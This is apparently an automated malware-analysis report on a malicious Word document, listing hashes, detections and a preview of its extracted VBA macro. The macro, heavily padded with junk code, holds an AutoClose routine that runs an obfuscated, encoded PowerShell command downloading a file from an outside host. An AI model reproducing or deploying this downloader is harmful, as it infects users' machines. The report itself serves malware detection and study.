Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e4ae010afe5fbd3e…

MALICIOUS

Office (OLE)

255.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 3364faeab5bf27bc2ba647bd6acb984c SHA-1: a7cc52e52383378f79ba3874d29b1b7526234c8f SHA-256: e4ae010afe5fbd3e87f01ad20e34cc59bd426e0aa4ea54f1f4ca03697164a4bc
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6708348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6708348-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    gaFYCigokqaPAriFOQYrQaKGwosexUGI(3) = VarType(gaFYCigokqaPAriFOQYrQaKGwosexUGI)
    LAhyhEiaaoTOvyGUGbuJUZEHJEkyTukAvAEz = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z"
    Dim FuiOHUhOqIzyNaiSyzuKIwIRsOTO(4)
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const PAzpACArAvAQAzaaQKEmURAvajEGyrODeCIa = 0
    Sub AutoClose()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 143228 bytes
SHA-256: fc8b65c39ccd76eff9cf2beb2219ea870508e5a58c18c30fd0b79ca077a7a9a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const PAzpACArAvAQAzaaQKEmURAvajEGyrODeCIa = 0
Sub AutoClose()
On Error Resume Next
Dim gaFYCigokqaPAriFOQYrQaKGwosexUGI(4)
If "zIhUkycaNaJy" <> CStr("zIhUkycaNaJy202") Then
   gaFYCigokqaPAriFOQYrQaKGwosexUGI(0) = VarType(VarType(VarType("zIhUkycaNaJy")))
End If
gaFYCigokqaPAriFOQYrQaKGwosexUGI(1) = CInt(CStr("#202"))
VarType zIhUkycaNaJy
VarType gaFYCigokqaPAriFOQYrQaKGwosexUGI
If LenB(gaFYCigokqaPAriFOQYrQaKGwosexUGI(1)) > 11 Then
  gaFYCigokqaPAriFOQYrQaKGwosexUGI(2) = Weekday(2022)
End If
gaFYCigokqaPAriFOQYrQaKGwosexUGI(3) = VarType(gaFYCigokqaPAriFOQYrQaKGwosexUGI)
LAhyhEiaaoTOvyGUGbuJUZEHJEkyTukAvAEz = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^Q^B^z"
Dim FuiOHUhOqIzyNaiSyzuKIwIRsOTO(4)
If "ayZUTOwaguBYTYaaT" <> CStr("ayZUTOwaguBYTYaaT766") Then
Dim xaaZAfNLOBNASeBoIKyPlA(4)
If "NumoiuwVowOixowimu" <> CStr("NumoiuwVowOixowimu4886") Then
   xaaZAfNLOBNASeBoIKyPlA(0) = VarType(VarType(VarType("NumoiuwVowOixowimu")))
End If
xaaZAfNLOBNASeBoIKyPlA(1) = CInt(CStr("#4886"))
VarType NumoiuwVowOixowimu
VarType xaaZAfNLOBNASeBoIKyPlA
If LenB(xaaZAfNLOBNASeBoIKyPlA(1)) > 11 Then
  xaaZAfNLOBNASeBoIKyPlA(2) = Weekday(48869)
End If
xaaZAfNLOBNASeBoIKyPlA(3) = VarType(xaaZAfNLOBNASeBoIKyPlA)
Dim ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(4)
If "pIQYVevAQeVIVZAGajsA" <> CStr("pIQYVevAQeVIVZAGajsA3558") Then
   ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(0) = VarType(VarType(VarType("pIQYVevAQeVIVZAGajsA")))
End If
ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(1) = CInt(CStr("#3558"))
VarType pIQYVevAQeVIVZAGajsA
VarType ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT
If LenB(ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(1)) > 13 Then
  ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(2) = Weekday(35586)
End If
ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT(3) = VarType(ZsONYREnULjycAkAXiFaXovOBicygeXOqYJT)
   FuiOHUhOqIzyNaiSyzuKIwIRsOTO(0) = VarType(VarType(VarType("ayZUTOwaguBYTYaaT")))
Dim pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(4)
If "fuBifEKuiazOZsYZOm" <> CStr("fuBifEKuiazOZsYZOm9654") Then
   pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(0) = VarType(VarType(VarType("fuBifEKuiazOZsYZOm")))
End If
pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(1) = CInt(CStr("#9654"))
VarType fuBifEKuiazOZsYZOm
VarType pYbycAPiAWYWivUJYjoKunePOCuduBepyfY
If LenB(pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(1)) > 10 Then
  pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(2) = Weekday(96541)
End If
pYbycAPiAWYWivUJYjoKunePOCuduBepyfY(3) = VarType(pYbycAPiAWYWivUJYjoKunePOCuduBepyfY)
Dim zEjUTuneNragJYvOzIXoxkOQEd(4)
If "iySijErvoNUWyluXI" <> CStr("iySijErvoNUWyluXI7835") Then
   zEjUTuneNragJYvOzIXoxkOQEd(0) = VarType(VarType(VarType("iySijErvoNUWyluXI")))
End If
zEjUTuneNragJYvOzIXoxkOQEd(1) = CInt(CStr("#7835"))
VarType iySijErvoNUWyluXI
VarType zEjUTuneNragJYvOzIXoxkOQEd
If LenB(zEjUTuneNragJYvOzIXoxkOQEd(1)) > 13 Then
  zEjUTuneNragJYvOzIXoxkOQEd(2) = Weekday(78354)
End If
zEjUTuneNragJYvOzIXoxkOQEd(3) = VarType(zEjUTuneNragJYvOzIXoxkOQEd)
End If
Dim CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(4)
If "vUNXCoNExOJa" <> CStr("vUNXCoNExOJa3758") Then
   CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(0) = VarType(VarType(VarType("vUNXCoNExOJa")))
End If
CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(1) = CInt(CStr("#3758"))
VarType vUNXCoNExOJa
VarType CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux
If LenB(CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(1)) > 10 Then
  CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(2) = Weekday(37589)
End If
CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux(3) = VarType(CYxUseVeWuWiPEzEQyNaiaQEXIQevyFovuFEJux)
Dim VyKaGoCArycoDovUZEnODyQOZiDOfENIk(4)
If "qAviXuzIzogedY" <> CStr("qAviXuzIzogedY9650") Then
   VyKaGoCArycoDovUZEnODyQOZiDOfENIk(0) = VarType(VarType(VarType("qAviXuzIzogedY")))
End If
VyKaGoCArycoDovUZEnODyQOZiDOfENIk(1) = CInt(CStr("#9650"))
VarType qAviXuzIzogedY
VarType VyKaGoCArycoDovUZEnODyQOZiDOfENIk
If LenB(VyKaGoCArycoDovUZEnODyQOZiDOfENIk(1)) > 10 Then
  VyKaGoCArycoDovUZEnODyQOZiDOfENIk(2) = Weekday(96509)
End If
VyKaGoCArycoDovUZEnODyQOZiDOfENIk(3) = VarType(VyKaGoCArycoDovUZEnODyQOZiDOfENIk)
FuiOHUhOqIzyNaiSyzuKIwIRsOTO(1) = CInt(CStr("#766"))
Dim juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(4)
If "xOhaGAZuNAkEVykAxYjY" <> CStr("xOhaGAZuNAkEVykAxYjY4581") Then
   juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(0) = VarType(VarType(VarType("xOhaGAZuNAkEVykAxYjY")))
End If
juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(1) = CInt(CStr("#4581"))
VarType xOhaGAZuNAkEVykAxYjY
VarType juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo
If LenB(juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(1)) > 10 Then
  juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(2) = Weekday(45815)
End If
juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo(3) = VarType(juDOdIgytyJaHOwIXogigiPEnIMUxERIiRYXuRotUzo)
Dim zugypENoaokrYpfIXikyt(4)
If "WIMIqiCeVemPYpAxyZYFU" <> CStr("WIMIqiCeVemPYpAxyZYFU8853") Then
   zugypENoaokrYpfIXikyt(0) = VarType(VarType(VarType("WIMIqiCeVemPYpAxyZYFU")))
End If
zugypENoaokrYpfIXikyt(1) = CInt(CStr("#8853"))
VarType WIMIqiCeVemPYpAxyZYFU
VarType zugypENoaokrYpfIXikyt
If LenB(zugypENoaokrYpfIXikyt(1)) > 11 Then
  zugypENoaokrYpfIXikyt(2) = Weekday(88536)
End If
zugypENoaokrYpfIXikyt(3) = VarType(zugypENoaokrYpfIXikyt)
VarType ayZUTOwaguBYTYaaT
Dim iujideQoUHItUmbIrUDaHepeXuGipikElEb(4)
If "SIzpyMVaKyTuhPIn" <> CStr("SIzpyMVaKyTuhPIn6982") Then
   iujideQoUHItUmbIrUDaHepeXuGipikElEb(0) = VarType(VarType(VarType("SIzpyMVaKyTuhPIn")))
End If
iujideQoUHItUmbIrUDaHepeXuGipikElEb(1) = CInt(CStr("#6982"))
VarType SIzpyMVaKyTuhPIn
VarType iujideQoUHItUmbIrUDaHepeXuGipikElEb
If LenB(iujideQoUHItUmbIrUDaHepeXuGipikElEb(1)) > 11 Then
  iujideQoUHItUmbIrUDaHepeXuGipikElEb(2) = Weekday(69828)
End If
iujideQoUHItUmbIrUDaHepeXuGipikElEb(3) = VarType(iujideQoUHItUmbIrUDaHepeXuGipikElEb)
VarType FuiOHUhOqIzyNaiSyzuKIwIRsOTO
Dim CePezyMLEbUSiBOXuNohuEkU(4)
If "iuCAGubaHaTUcuCEwalyPx" <> CStr("iuCAGubaHaTUcuCEwalyPx2689") Then
   CePezyMLEbUSiBOXuNohuEkU(0) = VarType(VarType(VarType("iuCAGubaHaTUcuCEwalyPx")))
End If
CePezyMLEbUSiBOXuNohuEkU(1) = CInt(CStr("#2689"))
VarType iuCAGubaHaTUcuCEwalyPx
VarType CePezyMLEbUSiBOXuNohuEkU
If LenB(CePezyMLEbUSiBOXuNohuEkU(1)) > 11 Then
  CePezyMLEbUSiBOXuNohuEkU(2) = Weekday(26899)
End If
CePezyMLEbUSiBOXuNohuEkU(3) = VarType(CePezyMLEbUSiBOXuNohuEkU)
Dim JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(4)
If "SRYWiaYNYaiDIQ" <> CStr("SRYWiaYNYaiDIQ4511") Then
   JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(0) = VarType(VarType(VarType("SRYWiaYNYaiDIQ")))
End If
JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(1) = CInt(CStr("#4511"))
VarType SRYWiaYNYaiDIQ
VarType JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU
If LenB(JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(1)) > 13 Then
  JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(2) = Weekday(45115)
End If
JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU(3) = VarType(JeYGOFAJODUTulUCIhAWnAFipowyKxWUJIFYCoBU)
If LenB(FuiOHUhOqIzyNaiSyzuKIwIRsOTO(1)) > 10 Then
Dim MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(4)
If "NegOJUJOduzExipUxINalYkI" <> CStr("NegOJUJOduzExipUxINalYkI9873") Then
   MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(0) = VarType(VarType(VarType("NegOJUJOduzExipUxINalYkI")))
End If
MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(1) = CInt(CStr("#9873"))
VarType NegOJUJOduzExipUxINalYkI
VarType MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa
If LenB(MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(1)) > 13 Then
  MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(2) = Weekday(98738)
End If
MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa(3) = VarType(MiZoHObEPYhYmIwuPYFuiekAKILyfYDyRAjEVa)
  FuiOHUhOqIzyNaiSyzuKIwIRsOTO(2) = Weekday(7665)
End If
Dim wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(4)
If "iWaxDYkOdANoQ" <> CStr("iWaxDYkOdANoQ4196") Then
   wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(0) = VarType(VarType(VarType("iWaxDYkOdANoQ")))
End If
wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(1) = CInt(CStr("#4196"))
VarType iWaxDYkOdANoQ
VarType wImYLIZaqInANESEZUPAsUpUzAVyuROiAS
If LenB(wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(1)) > 13 Then
  wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(2) = Weekday(41963)
End If
wImYLIZaqInANESEZUPAsUpUzAVyuROiAS(3) = VarType(wImYLIZaqInANESEZUPAsUpUzAVyuROiAS)
Dim uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(4)
If "NUVOzUjijAwiMoGafiiySIvE" <> CStr("NUVOzUjijAwiMoGafiiySIvE5325") Then
   uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(0) = VarType(VarType(VarType("NUVOzUjijAwiMoGafiiySIvE")))
End If
uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(1) = CInt(CStr("#5325"))
VarType NUVOzUjijAwiMoGafiiySIvE
VarType uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai
If LenB(uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(1)) > 10 Then
  uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(2) = Weekday(53257)
End If
uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai(3) = VarType(uPylOzyfYPuQiCaQYDIwuPiSuQAkyBeWosai)
FuiOHUhOqIzyNaiSyzuKIwIRsOTO(3) = VarType(FuiOHUhOqIzyNaiSyzuKIwIRsOTO)
Dim xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(4)
If "DAcuDUjBiKIKuf" <> CStr("DAcuDUjBiKIKuf4991") Then
   xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(0) = VarType(VarType(VarType("DAcuDUjBiKIKuf")))
End If
xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(1) = CInt(CStr("#4991"))
VarType DAcuDUjBiKIKuf
VarType xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC
If LenB(xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(1)) > 10 Then
  xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(2) = Weekday(49917)
End If
xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC(3) = VarType(xAmyKURoWeboFAfaTAxAtiCdeHiSUGosiC)
Dim lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(4)
If "XAeWunArOneZIKebyzA" <> CStr("XAeWunArOneZIKebyzA9670") Then
   lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(0) = VarType(VarType(VarType("XAeWunArOneZIKebyzA")))
End If
lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(1) = CInt(CStr("#9670"))
VarType XAeWunArOneZIKebyzA
VarType lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw
If LenB(lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(1)) > 11 Then
  lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(2) = Weekday(96704)
End If
lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw(3) = VarType(lUgomYPADeWYjUgeBSyMIhuUnursaZoLoaUmEw)


Dim HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(4)
If "JIKolAwYcyWIvuDiqOWy" <> CStr("JIKolAwYcyWIvuDiqOWy6370") Then
   HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(0) = VarType(VarType(VarType("JIKolAwYcyWIvuDiqOWy")))
End If
HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(1) = CInt(CStr("#6370"))
VarType JIKolAwYcyWIvuDiqOWy
VarType HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU
If LenB(HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(1)) > 11 Then
  HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(2) = Weekday(63704)
End If
HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU(3) = VarType(HoBAXeJjAByvUGOQUWiLyLYjIxazEgODOKATaROcU)
Dim DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(4)
If "PeCyhIbyFUByzoJ" <> CStr("PeCyhIbyFUByzoJ1886") Then
   DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(0) = VarType(VarType(VarType("PeCyhIbyFUByzoJ")))
End If
DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(1) = CInt(CStr("#1886"))
VarType PeCyhIbyFUByzoJ
VarType DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat
If LenB(DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(1)) > 11 Then
  DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(2) = Weekday(18869)
End If
DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat(3) = VarType(DAbaXERiTUkitojoiuFOrIWOGovyhOnuGUNIJat)
Dim xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(4)
If "pYxIKejAkugOnuTi" <> CStr("pYxIKejAkugOnuTi4310") Then
Dim iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(4)
If "JIsJekibujEG" <> CStr("JIsJekibujEG9101") Then
   iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(0) = VarType(VarType(VarType("JIsJekibujEG")))
End If
iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(1) = CInt(CStr("#9101"))
VarType JIsJekibujEG
VarType iutoEgoRYriHYsbOqyXiKeLosabYohiezEP
If LenB(iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(1)) > 12 Then
  iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(2) = Weekday(91011)
End If
iutoEgoRYriHYsbOqyXiKeLosabYohiezEP(3) = VarType(iutoEgoRYriHYsbOqyXiKeLosabYohiezEP)
   xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(0) = VarType(VarType(VarType("pYxIKejAkugOnuTi")))
Dim xIRuvOwOrESeAwJunOLOGO(4)
If "pejadUQYolSYn" <> CStr("pejadUQYolSYn8878") Then
   xIRuvOwOrESeAwJunOLOGO(0) = VarType(VarType(VarType("pejadUQYolSYn")))
End If
xIRuvOwOrESeAwJunOLOGO(1) = CInt(CStr("#8878"))
VarType pejadUQYolSYn
VarType xIRuvOwOrESeAwJunOLOGO
If LenB(xIRuvOwOrESeAwJunOLOGO(1)) > 11 Then
  xIRuvOwOrESeAwJunOLOGO(2) = Weekday(88787)
End If
xIRuvOwOrESeAwJunOLOGO(3) = VarType(xIRuvOwOrESeAwJunOLOGO)
Dim SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(4)
If "fICOgyfoCEXYZivaFjIgY" <> CStr("fICOgyfoCEXYZivaFjIgY6910") Then
   SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(0) = VarType(VarType(VarType("fICOgyfoCEXYZivaFjIgY")))
End If
SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(1) = CInt(CStr("#6910"))
VarType fICOgyfoCEXYZivaFjIgY
VarType SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo
If LenB(SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(1)) > 12 Then
  SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(2) = Weekday(69109)
End If
SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo(3) = VarType(SyNabIvAuawUNEZTKokUcEDIniQYaUlEjURo)
End If
Dim lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(4)
If "cajlesETexAYTa" <> CStr("cajlesETexAYTa4195") Then
   lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(0) = VarType(VarType(VarType("cajlesETexAYTa")))
End If
lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(1) = CInt(CStr("#4195"))
VarType cajlesETexAYTa
VarType lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF
If LenB(lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(1)) > 11 Then
  lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(2) = Weekday(41959)
End If
lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF(3) = VarType(lYYiuxeJUGyCOIcoFNIGuwuWYBOtINYfAWUkaNeF)
Dim pakAZijATAnIMYBmaxITxiFYNYpYNaj(4)
If "ieriHOmYRUGU" <> CStr("ieriHOmYRUGU6315") Then
   pakAZijATAnIMYBmaxITxiFYNYpYNaj(0) = VarType(VarType(VarType("ieriHOmYRUGU")))
End If
pakAZijATAnIMYBmaxITxiFYNYpYNaj(1) = CInt(CStr("#6315"))
VarType ieriHOmYRUGU
VarType pakAZijATAnIMYBmaxITxiFYNYpYNaj
If LenB(pakAZijATAnIMYBmaxITxiFYNYpYNaj(1)) > 11 Then
  pakAZijATAnIMYBmaxITxiFYNYpYNaj(2) = Weekday(63154)
End If
pakAZijATAnIMYBmaxITxiFYNYpYNaj(3) = VarType(pakAZijATAnIMYBmaxITxiFYNYpYNaj)
xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(1) = CInt(CStr("#4310"))
VarType pYxIKejAkugOnuTi
VarType xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw
If LenB(xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(1)) > 12 Then
Dim TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(4)
If "xiqoRUHIfIUreaaXypyP" <> CStr("xiqoRUHIfIUreaaXypyP2016") Then
   TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(0) = VarType(VarType(VarType("xiqoRUHIfIUreaaXypyP")))
End If
TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(1) = CInt(CStr("#2016"))
VarType xiqoRUHIfIUreaaXypyP
VarType TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe
If LenB(TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(1)) > 12 Then
  TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(2) = Weekday(20166)
End If
TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe(3) = VarType(TSBUbUAtEXEYPWUHoDoHYvYZOlimAdYWe)
  xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(2) = Weekday(43104)
End If
Dim QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(4)
If "laNoraJyPyJifiT" <> CStr("laNoraJyPyJifiT5118") Then
   QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(0) = VarType(VarType(VarType("laNoraJyPyJifiT")))
End If
QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(1) = CInt(CStr("#5118"))
VarType laNoraJyPyJifiT
VarType QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY
If LenB(QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(1)) > 12 Then
  QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(2) = Weekday(51186)
End If
QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY(3) = VarType(QipEZUZeHIfiriGAdEtIjbITAVUPWOsyrucFyTyxY)
xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw(3) = VarType(xuKiIReDeCiTaGoPYGOBAMojaHUwuwEiisaaumyw)
Dim DIZiVywYZAvaSXAnACEOwYt(4)
If "TIbAsIduJOBuLOm" <> CStr("TIbAsIduJOBuLOm7576") Then
   DIZiVywYZAvaSXAnACEOwYt(0) = VarType(VarType(VarType("TIbAsIduJOBuLOm")))
End If
DIZiVywYZAvaSXAnACEOwYt(1) = CInt(CStr("#7576"))
VarType TIbAsIduJOBuLOm
VarType DIZiVywYZAvaSXAnACEOwYt
If LenB(DIZiVywYZAvaSXAnACEOwYt(1)) > 13 Then
  DIZiVywYZAvaSXAnACEOwYt(2) = Weekday(75764)
End If
DIZiVywYZAvaSXAnACEOwYt(3) = VarType(DIZiVywYZAvaSXAnACEOwYt)
Dim amUbIribejbyduLABAHExAHIfUCEjE(4)
If "gOVoVIxEiekunOp" <> CStr("gOVoVIxEiekunOp6010") Then
   amUbIribejbyduLABAHExAHIfUCEjE(0) = VarType(VarType(VarType("gOVoVIxEiekunOp")))
End If
Dim PaBILEwfikerEPiLEqeaYLubi(4)
If "VUPucIDuKEqaKEm" <> CStr("VUPucIDuKEqaKEm2383") Then
   PaBILEwfikerEPiLEqeaYLubi(0) = VarType(VarType(VarType("VUPucIDuKEqaKEm")))
End If
PaBILEwfikerEPiLEqeaYLubi(1) = CInt(CStr("#2383"))
VarType VUPucIDuKEqaKEm
VarType PaBILEwfikerEPiLEqeaYLubi
If LenB(PaBILEwfikerEPiLEqeaYLubi(1)) > 11 Then
  PaBILEwfikerEPiLEqeaYLubi(2) = Weekday(23839)
End If
PaBILEwfikerEPiLEqeaYLubi(3) = VarType(PaBILEwfikerEPiLEqeaYLubi)
amUbIribejbyduLABAHExAHIfUCEjE(1) = CInt(CStr("#6010"))
Dim soieRaemeSoxAXOLnydyfadaXePegiZI(4)
If "qyNuwIalYRiXIJYseHotUc" <> CStr("qyNuwIalYRiXIJYseHotUc8915") Then
   soieRaemeSoxAXOLnydyfadaXePegiZI(0) = VarType(VarType(VarType("qyNuwIalYRiXIJYseHotUc")))
End If
soieRaemeSoxAXOLnydyfadaXePegiZI(1) = CInt(CStr("#8915"))
VarType qyNuwIalYRiXIJYseHotUc
VarType soieRaemeSoxAXOLnydyfadaXePegiZI
If LenB(soieRaemeSoxAXOLnydyfadaXePegiZI(1)) > 12 Then
